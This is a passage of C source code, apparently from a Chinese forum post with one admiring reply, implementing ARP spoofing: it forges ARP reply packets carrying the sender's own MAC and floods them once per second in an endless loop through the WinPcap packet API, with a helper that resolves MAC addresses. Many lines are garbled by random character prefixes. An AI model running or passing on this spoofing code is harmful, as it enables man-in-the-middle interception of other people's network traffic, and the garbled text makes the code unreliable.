  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
  ArpPacket.arphdr.HrdAddrlen = 6;
& l1 a3 _- l/ x! d# ]- X, I  ArpPacket.arphdr.ProAddrLen = 4;
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
8 n+ i7 [5 B; ^3 v* k  ArpPacket.arphdr.ProType = htons(EPT_IP);
% T* T$ |6 [/ i; y; {  X4 U) D1 |  ArpPacket.arphdr.op = htons(2);//arp reply

3 l4 T- b. m8 ^/ {2 A3 V4 p) p  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
( w% o+ K+ ~$ A7 U: E  M! B    return 0;
% d. D: ]( {& I1 T% F, f1 w) @9 f  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
7 u) C4 a  F: B9 x; ?  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
9 {/ E- W% R* z2 X/ g5 W, G  //send arp packet
  while(1)
  {
: M9 `4 v% r1 n' G    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
( m  m' Z$ A  n) c: V8 D4 ~# V2 ^    {
+ x% B" ?% c5 h# _9 d      printf("Error sending the arp spoof packets!\n");
      return 0;
    }
    Sleep(1000);
  }
2 e$ _: ^% m* O- E, {& ?  return 0;
}
* t. i: e1 V: }& K  v7 T
  X0 z" M+ E; N4 \//
. O2 p7 N6 \5 l" ^5 G//功能：输入IP取得对应的MAC地址
6 d5 \! e* M5 m. R" D( Q7 k//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
  DWORD  dwRet;
( D7 {( m, y5 ~$ \  ULONG  ulLen = 6, pulMac[2];
1 @; ]6 E( \- K+ _) K5 z- I2 F  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
  if(dwRet == NO_ERROR)
  {
  y% X; U, H) _4 `; [6 b5 r- n    memcpy(pMAC, pulMac, 6);
) h) d0 ^+ W+ O, d/ a% W# i    return TRUE;
$ V$ N4 E9 e% w  }
5 w+ \' p6 d! g9 ]  else return FALSE;
. b, V. v0 Y3 W/ H}

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作者: wy617958197    时间: 2014-9-4 20:48
大侠好厉害啊

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